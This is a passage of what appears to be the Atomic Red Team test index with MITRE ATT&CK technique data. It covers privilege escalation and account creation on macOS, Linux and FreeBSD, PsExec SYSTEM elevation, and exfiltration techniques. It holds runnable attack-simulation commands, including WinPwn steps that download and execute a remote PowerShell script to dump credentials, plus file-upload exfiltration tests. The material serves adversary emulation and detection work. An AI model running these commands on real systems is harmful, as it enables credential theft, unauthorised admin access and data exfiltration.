          dsenableroot -d -u art-tester -p art-tester #new user
        name: bash
        elevation_required: true
    - name: Add a new/existing user to the admin group using dseditgroup utility -
        macOS
      auto_generated_guid: 433842ba-e796-4fd5-a14f-95d3a1970875
      description: After execution the current/new user will be added to the Admin
        group
      supported_platforms:
      - macos
      executor:
        command: dseditgroup -o edit -a art-user -t user admin
        cleanup_command: dseditgroup -o edit -d art-user -t user admin
        name: bash
        elevation_required: true
    - name: WinPwn - Loot local Credentials - powerhell kittie
      auto_generated_guid: 9e9fd066-453d-442f-88c1-ad7911d32912
      description: Loot local Credentials - powerhell kittie technique via function
        of WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          obfuskittiedump -consoleoutput -noninteractive
        name: powershell
        elevation_required: true
    - name: WinPwn - Loot local Credentials - Safetykatz
      auto_generated_guid: e9fdb899-a980-4ba4-934b-486ad22e22f4
      description: Loot local Credentials - Safetykatz technique via function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          safedump -consoleoutput -noninteractive
        name: powershell
        elevation_required: true
    - name: Create local account (Linux)
      auto_generated_guid: 02a91c34-8a5b-4bed-87af-501103eb5357
      description: 'An adversary may wish to create an account with admin privileges
        to work with. In this test we create a "art" user with the password art, switch
        to art, execute whoami, exit and delete the art user.

        '
      supported_platforms:
      - linux
      executor:
        name: bash
        elevation_required: true
        command: |
          password=$(openssl passwd -1 art)
          ([ "$(uname)" = 'Linux' ] && useradd --shell /bin/bash --create-home --password $password art) || (pw useradd art -g wheel -s /bin/sh && (echo $password | pw mod user testuser1 -h 0))
          su art -c "whoami; exit"
        cleanup_command: '[ "$(uname)" = ''Linux'' ] && userdel art -rf || rmuser
          -y art

          '
    - name: Reactivate a locked/expired account (Linux)
      auto_generated_guid: d2b95631-62d7-45a3-aaef-0972cea97931
      description: "A system administrator may have locked and expired a user account
        rather than deleting it. \"the user is coming back, at some stage\" An adversary
        may reactivate a inactive account in an attempt to appear legitimate. \n\nIn
        this test we create a \"art\" user with the password art, lock and expire
        the account, try to su to art and fail, unlock and renew the account, su successfully,
        then delete the account.\n"
      supported_platforms:
      - linux
      executor:
        name: bash
        elevation_required: true
        command: |
          useradd --shell /bin/bash --create-home --password $(openssl passwd -1 art) art
          usermod --lock art
          usermod --expiredate "1" art
          usermod --unlock art
          usermod --expiredate "99999" art
          su art
          whoami
          exit
        cleanup_command: "userdel -r art \n"
    - name: Reactivate a locked/expired account (FreeBSD)
      auto_generated_guid: '09e3380a-fae5-4255-8b19-9950be0252cf'
      description: "A system administrator may have locked and expired a user account
        rather than deleting it. \"the user is coming back, at some stage\" An adversary
        may reactivate a inactive account in an attempt to appear legitimate. \n\nIn
        this test we create a \"art\" user with the password art, lock and expire
        the account, try to su to art and fail, unlock and renew the account, su successfully,
        then delete the account.\n"
      supported_platforms:
      - linux
      executor:
        name: sh
        elevation_required: true
        command: |
          pw useradd art -g wheel -s /bin/sh
          echo $(openssl passwd -1 art) | pw mod user testuser1 -h 0
          pw lock art
          pw usermod art -e +1d
          pw unlock art
          pw user mod art -e +99d
          su art
          whoami
          exit
        cleanup_command: "rmuser -y art \n"
    - name: Login as nobody (Linux)
      auto_generated_guid: 3d2cd093-ee05-41bd-a802-59ee5c301b85
      description: 'An adversary may try to re-purpose a system account to appear
        legitimate. In this test change the login shell of the nobody account, change
        its password to nobody, su to nobody, exit, then reset nobody''s shell to
        /usr/sbin/nologin.

        '
      supported_platforms:
      - linux
      executor:
        name: bash
        elevation_required: true
        command: "cat /etc/passwd |grep nobody \n# -> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nchsh
          --shell /bin/bash nobody\nusermod --password $(openssl passwd -1 nobody)
          nobody\nsu nobody\nwhoami\nexit\n"
        cleanup_command: "chsh --shell /usr/sbin/nologin nobody\ncat /etc/passwd |grep
          nobody \n# -> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n"
    - name: Login as nobody (freebsd)
      auto_generated_guid: 16f6374f-7600-459a-9b16-6a88fd96d310
      description: 'An adversary may try to re-purpose a system account to appear
        legitimate. In this test change the login shell of the nobody account, change
        its password to nobody, su to nobody, exit, then reset nobody''s shell to
        /usr/sbin/nologin.

        '
      supported_platforms:
      - linux
      executor:
        name: sh
        elevation_required: true
        command: "cat /etc/passwd |grep nobody \n# -> nobody:x:65534:65534:Unprivileged
          user:/nonexistent:/usr/sbin/nologin\npw usermod nobody -s /bin/sh\necho
          $(openssl passwd -1 art) | pw mod user nobody -h 0\nsu nobody\nwhoami\nexit\n"
        cleanup_command: |
          pw usermod nobody -s /usr/sbin/nologin
          cat /etc/passwd |grep nobody
          # -> nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
    - name: Use PsExec to elevate to NT Authority\SYSTEM account
      auto_generated_guid: 6904235f-0f55-4039-8aed-41c300ff7733
      description: "PsExec is a powerful tool most known for its remote management
        capability. However, it can also be used to run processes as the local system
        account.\n\nThe local system account is a default windows account which has
        unrestricted access to all system resources.\n\nUpon successful execution,
        PsExec.exe will spawn a command prompt which will run 'whoami' as the local
        system account and then exit.    \n"
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'PsExec tool from Sysinternals must exist in the ExternalPayloads
          directory

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe")
          { exit 0 } else { exit 1 }

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip"
          Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force
          Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -Force
      executor:
        name: command_prompt
        elevation_required: true
        command: '"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -accepteula
          -s %COMSPEC% /c whoami

          '
exfiltration:
  T1567:
    technique:
      modified: '2023-09-05T15:00:36.471Z'
      name: Exfiltration Over Web Service
      description: |-
        Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.

        Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: exfiltration
      x_mitre_contributors:
      - William Cain
      x_mitre_deprecated: false
      x_mitre_detection: Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious. User behavior monitoring may help to
        detect abnormal patterns of activity.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Office 365
      - SaaS
      - Google Workspace
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Connection Creation'
      - 'Command: Command Execution'
      - 'Network Traffic: Network Traffic Flow'
      - 'File: File Access'
      - 'Application Log: Application Log Content'
      type: attack-pattern
      id: attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807
      created: '2020-03-09T12:51:45.570Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1567
        external_id: T1567
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1567.004:
    technique:
      modified: '2023-10-12T05:22:59.079Z'
      name: Exfiltration Over Webhook
      description: "Adversaries may exfiltrate data to a webhook endpoint rather than
        over their primary command and control channel. Webhooks are simple mechanisms
        for allowing a server to push data over HTTP/S to a client without the need
        for the client to continuously poll the server.(Citation: RedHat Webhooks)
        Many public and commercial services, such as Discord, Slack, and `webhook.site`,
        support the creation of webhook endpoints that can be used by other services,
        such as Github, Jira, or Trello.(Citation: Discord Intro to Webhooks) When
        changes happen in the linked services (such as pushing a repository update
        or modifying a ticket), these services will automatically post the data to
        the webhook endpoint for use by the consuming application. \n\nAdversaries
        may link an adversary-owned environment to a victim-owned SaaS service to
        achieve repeated [Automated Exfiltration](https://attack.mitre.org/techniques/T1020)
        of emails, chat messages, and other data.(Citation: Push Security SaaS Attacks
        Repository Webhooks) Alternatively, instead of linking the webhook endpoint
        to a service, an adversary can manually post staged data directly to the URL
        in order to exfiltrate it.(Citation: Microsoft SQL Server)\n\nAccess to webhook
        endpoints is often over HTTPS, which gives the adversary an additional level
        of protection. Exfiltration leveraging webhooks can also blend in with normal
        network traffic if the webhook endpoint points to a commonly used SaaS application
        or collaboration service.(Citation: CyberArk Labs Discord)(Citation: Talos
        Discord Webhook Abuse)(Citation: Checkmarx Webhooks)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: exfiltration
      x_mitre_contributors:
      - Yossi Weizman, Microsoft Threat Intelligence
      - Sunders Bruskin, Microsoft Threat Intelligence
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      - SaaS
      - Office 365
      - Google Workspace
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Command: Command Execution'
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      - 'File: File Access'
      type: attack-pattern
      id: attack-pattern--43f2776f-b4bd-4118-94b8-fee47e69676d
      created: '2023-07-20T15:30:55.763Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1567/004
        external_id: T1567.004
      - source_name: Checkmarx Webhooks
        description: " Jossef Harush Kadouri. (2022, March 7). Webhook Party — Malicious
          packages caught exfiltrating data via legit webhook services. Retrieved
          July 20, 2023."
        url: https://medium.com/checkmarx-security/webhook-party-malicious-packages-caught-exfiltrating-data-via-legit-webhook-services-6e046b07d191
      - source_name: CyberArk Labs Discord
        description: CyberArk Labs. (2023, April 13). The (Not so) Secret War on Discord.
          Retrieved July 20, 2023.
        url: https://www.cyberark.com/resources/threat-research-blog/the-not-so-secret-war-on-discord
      - source_name: Discord Intro to Webhooks
        description: D. (n.d.). Intro to Webhooks. Retrieved July 20, 2023.
        url: https://support.discord.com/hc/en-us/articles/228383668-Intro-to-Webhooks
      - source_name: Microsoft SQL Server
        description: 'Microsoft Threat Intelligence. (2023, October 3). Defending
          new vectors: Threat actors attempt SQL Server to cloud lateral movement.
          Retrieved October 3, 2023.'
        url: https://www.microsoft.com/security/blog/2023/10/03/defending-new-vectors-threat-actors-attempt-sql-server-to-cloud-lateral-movement/
      - source_name: Talos Discord Webhook Abuse
        description: Nick Biasini, Edmund Brumaghin, Chris Neal, and Paul Eubanks.
          (2021, April 7). https://blog.talosintelligence.com/collab-app-abuse/. Retrieved
          July 20, 2023.
        url: https://blog.talosintelligence.com/collab-app-abuse/
      - source_name: Push Security SaaS Attacks Repository Webhooks
        description: Push Security. (2023, July 31). Webhooks. Retrieved August 4,
          2023.
        url: https://github.com/pushsecurity/saas-attacks/blob/main/techniques/webhooks/description.md
      - source_name: RedHat Webhooks
        description: RedHat. (2022, June 1). What is a webhook?. Retrieved July 20,
          2023.
        url: https://www.redhat.com/en/topics/automation/what-is-a-webhook
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1029:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466
      type: attack-pattern
      created: '2017-05-31T21:30:34.139Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1029
        external_id: T1029
      modified: '2021-04-29T14:49:39.188Z'
      name: Scheduled Transfer
      description: |-
        Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.

        When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) or [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: exfiltration
      x_mitre_detection: Monitor process file access patterns and network behavior.
        Unrecognized processes or scripts that appear to be traversing file systems
        and sending network traffic may be suspicious. Network connections to the
        same destination that occur at the same time of day for multiple days are
        suspicious.
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Connection Creation'
      x_mitre_is_subtechnique: false
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1011:
    technique:
      modified: '2023-09-11T16:06:10.376Z'
      name: Exfiltration Over Other Network Medium
      description: |-
        Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.

        Adversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: exfiltration
      x_mitre_contributors:
      - Itzik Kotler, SafeBreach
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious.

        Monitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Content'
      - 'File: File Access'
      - 'Command: Command Execution'
      type: attack-pattern
      id: attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87
      created: '2017-05-31T21:30:25.159Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1011
        external_id: T1011
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1011.001:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--613d08bc-e8f4-4791-80b0-c8b974340dfd
      type: attack-pattern
      created: '2020-03-09T17:07:57.392Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1011.001
        url: https://attack.mitre.org/techniques/T1011/001
      modified: '2022-05-11T14:00:00.188Z'
      name: Exfiltration Over Bluetooth
      description: |-
        Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an adversary may opt to exfiltrate data using a Bluetooth communication channel.

        Adversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: exfiltration
      x_mitre_detection: |-
        Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious.

        Monitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Command: Command Execution'
      - 'File: File Access'
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Connection Creation'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1020:
    technique:
      modified: '2024-01-24T00:04:01.066Z'
      name: Automated Exfiltration
      description: "Adversaries may exfiltrate data, such as sensitive documents,
        through the use of automated processing after being gathered during Collection.(Citation:
        ESET Gamaredon June 2020) \n\nWhen automated exfiltration is used, other exfiltration
        techniques likely apply as well to transfer the information out of the network,
        such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041)
        and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: exfiltration
      x_mitre_contributors:
      - ExtraHop
      x_mitre_deprecated: false
      x_mitre_detection: Monitor process file access patterns and network behavior.
        Unrecognized processes or scripts that appear to be traversing file systems
        and sending network traffic may be suspicious.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Network Traffic: Network Traffic Flow'
      - 'File: File Access'
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Content'
      - 'Script: Script Execution'
      type: attack-pattern
      id: attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9
      created: '2017-05-31T21:30:29.458Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1020
        external_id: T1020
      - source_name: ESET Gamaredon June 2020
        description: Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved
          June 16, 2020.
        url: https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1020
    atomic_tests:
    - name: IcedID Botnet HTTP PUT
      auto_generated_guid: 9c780d3d-3a14-4278-8ee5-faaeb2ccfbe0
      description: |-
        Creates a text file
        Tries to upload to a server via HTTP PUT method with ContentType Header
        Deletes a created file
      supported_platforms:
      - windows
      input_arguments:
        file:
          description: Exfiltration File
          type: string
          default: C:\temp\T1020_exfilFile.txt
        domain:
          description: Destination Domain
          type: url
          default: https://google.com
      executor:
        command: |-
          $fileName = "#{file}"
          $url = "#{domain}"
          $file = New-Item -Force $fileName -Value "This is ART IcedID Botnet Exfil Test"
          $contentType = "application/octet-stream"
          try {Invoke-WebRequest -Uri $url -Method Put -ContentType $contentType -InFile $fileName} catch{}
        cleanup_command: |-
          $fileName = "#{file}"
          Remove-Item -Path $fileName -ErrorAction Ignore
        name: powershell
    - name: Exfiltration via Encrypted FTP
      auto_generated_guid: 5b380e96-b0ef-4072-8a8e-f194cb9eb9ac
      description: Simulates encrypted file transfer to an FTP server. For testing
        purposes, a free FTP testing portal is available at https://sftpcloud.io/tools/free-ftp-server,
        providing a temporary FTP server for 60 minutes. Use this service responsibly
        for testing and validation only.
      supported_platforms:
      - windows
      input_arguments:
        sampleFile:
          description: Path of the sample file to exfiltrate.
          type: String
          default: C:\temp\T1020__FTP_sample.txt
        ftpServer:
          description: FTP server URL.
          type: Url
          default: ftp://example.com
        credentials:
          description: FTP server credentials.
          type: String
          default: "[user:password]"
      executor:
        name: powershell
        elevation_required: false
        command: |
          $sampleData = "Sample data for exfiltration test"
          Set-Content -Path "#{sampleFile}" -Value $sampleData
          $ftpUrl = "#{ftpServer}"
          $creds = Get-Credential -Credential "#{credentials}"
          Invoke-WebRequest -Uri $ftpUrl -Method Put -InFile "#{sampleFile}" -Credential $creds
        cleanup_command: 'Remove-Item -Path "#{sampleFile}" -ErrorAction Ignore

          '
  T1048.001:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--79a4052e-1a89-4b09-aea6-51f1d11fe19c
      type: attack-pattern
      created: '2020-03-15T15:30:42.378Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1048.001
        url: https://attack.mitre.org/techniques/T1048/001
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      modified: '2021-04-29T14:49:39.188Z'
      name: Exfiltration Over Symmetric Encrypted Non-C2 Protocol
      description: "Adversaries may steal data by exfiltrating it over a symmetrically
        encrypted network protocol other than that of the existing command and control
        channel. The data may also be sent to an alternate network location from the
        main command and control server. \n\nSymmetric encryption algorithms are those
        that use shared or the same keys/secrets on each end of the channel. This
        requires an exchange or pre-arranged agreement/possession of the value used
        to encrypt and decrypt data. \n\nNetwork protocols that use asymmetric encryption
        often utilize symmetric encryption once keys are exchanged, but adversaries
        may opt to manually share keys and implement symmetric cryptographic algorithms
        (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This
        may result in multiple layers of encryption (in protocols that are natively
        encrypted such as HTTPS) or encryption in protocols that not typically encrypted
        (such as HTTP or FTP). "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: exfiltration
      x_mitre_detection: "Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious.(Citation: University of Birmingham
        C2) \n\nArtifacts and evidence of symmetric key exchange may be recoverable
        by analyzing network traffic or looking for hard-coded values within malware.
        If recovered, these keys can be used to decrypt network data from command
        and control channels. "
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      - 'Command: Command Execution'
      - 'File: File Access'
      - 'Network Traffic: Network Connection Creation'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1020.001:
    technique:
      modified: '2023-04-14T23:23:30.327Z'
      name: Traffic Duplication
      description: |-
        Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised infrastructure. Traffic mirroring is a native feature for some devices, often used for network analysis. For example, devices may be configured to forward network traffic to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring)

        Adversaries may abuse traffic mirroring to mirror or redirect network traffic through other infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks)

        Many cloud-based environments also support traffic mirroring. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP)

        Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: exfiltration
      x_mitre_deprecated: false
      x_mitre_detection: 'Monitor network traffic for uncommon data flows (e.g. unusual
        network communications, suspicious communications that have never been seen
        before, communications sending fixed size data packets at regular intervals).  Analyze
        packet contents to detect communications that do not follow the expected protocol
        behavior for the port that is being used. '
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Network
      - IaaS
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_network_requirements: false
      type: attack-pattern
      id: attack-pattern--7c46b364-8496-4234-8a56-f7e6727e21e1
      created: '2020-10-19T13:40:11.118Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1020/001
        external_id: T1020.001
      - source_name: AWS Traffic Mirroring
        description: Amazon Web Services. (n.d.). How Traffic Mirroring works. Retrieved
          March 17, 2022.
        url: https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html
      - source_name: Cisco Traffic Mirroring
        description: Cisco. (n.d.). Cisco IOS XR Interface and Hardware Component
          Configuration Guide for the Cisco CRS Router, Release 5.1.x. Retrieved October
          19, 2020.
        url: https://www.cisco.com/c/en/us/td/docs/routers/crs/software/crs_r5-1/interfaces/configuration/guide/hc51xcrsbook/hc51span.html
      - source_name: GCP Packet Mirroring
        description: Google Cloud. (n.d.). Packet Mirroring overview. Retrieved March
          17, 2022.
        url: https://cloud.google.com/vpc/docs/packet-mirroring
      - source_name: Juniper Traffic Mirroring
        description: Juniper. (n.d.). Understanding Port Mirroring on EX2200, EX3200,
          EX3300, EX4200, EX4500, EX4550, EX6200, and EX8200 Series Switches. Retrieved
          October 19, 2020.
        url: https://www.juniper.net/documentation/en_US/junos/topics/concept/port-mirroring-ex-series.html
      - source_name: Azure Virtual Network TAP
        description: Microsoft. (2022, February 9). Virtual network TAP. Retrieved
          March 17, 2022.
        url: https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview
      - source_name: Cisco Blog Legacy Device Attacks
        description: Omar Santos. (2020, October 19). Attackers Continue to Target
          Legacy Devices. Retrieved October 20, 2020.
        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
      - source_name: US-CERT-TA18-106A
        description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored
          Cyber Actors Targeting Network Infrastructure Devices. Retrieved October
          19, 2020.
        url: https://www.us-cert.gov/ncas/alerts/TA18-106A
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1567.001:
    technique:
      modified: '2023-09-15T19:08:16.882Z'
      name: Exfiltration to Code Repository
      description: "Adversaries may exfiltrate data to a code repository rather than
        over their primary command and control channel. Code repositories are often
        accessible via an API (ex: https://api.github.com). Access to these APIs are
        often over HTTPS, which gives the adversary an additional level of protection.\n\nExfiltration
        to a code repository can also provide a significant amount of cover to the
        adversary if it is a popular service already used by hosts within the network. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: exfiltration
      x_mitre_deprecated: false
      x_mitre_detection: Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server) to code repositories.
        Processes utilizing the network that do not normally have network communication
        or have never been seen before are suspicious. User behavior monitoring may
        help to detect abnormal patterns of activity.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      - 'File: File Access'
      type: attack-pattern
      id: attack-pattern--86a96bf6-cf8b-411c-aaeb-8959944d64f7
      created: '2020-03-09T14:51:11.772Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
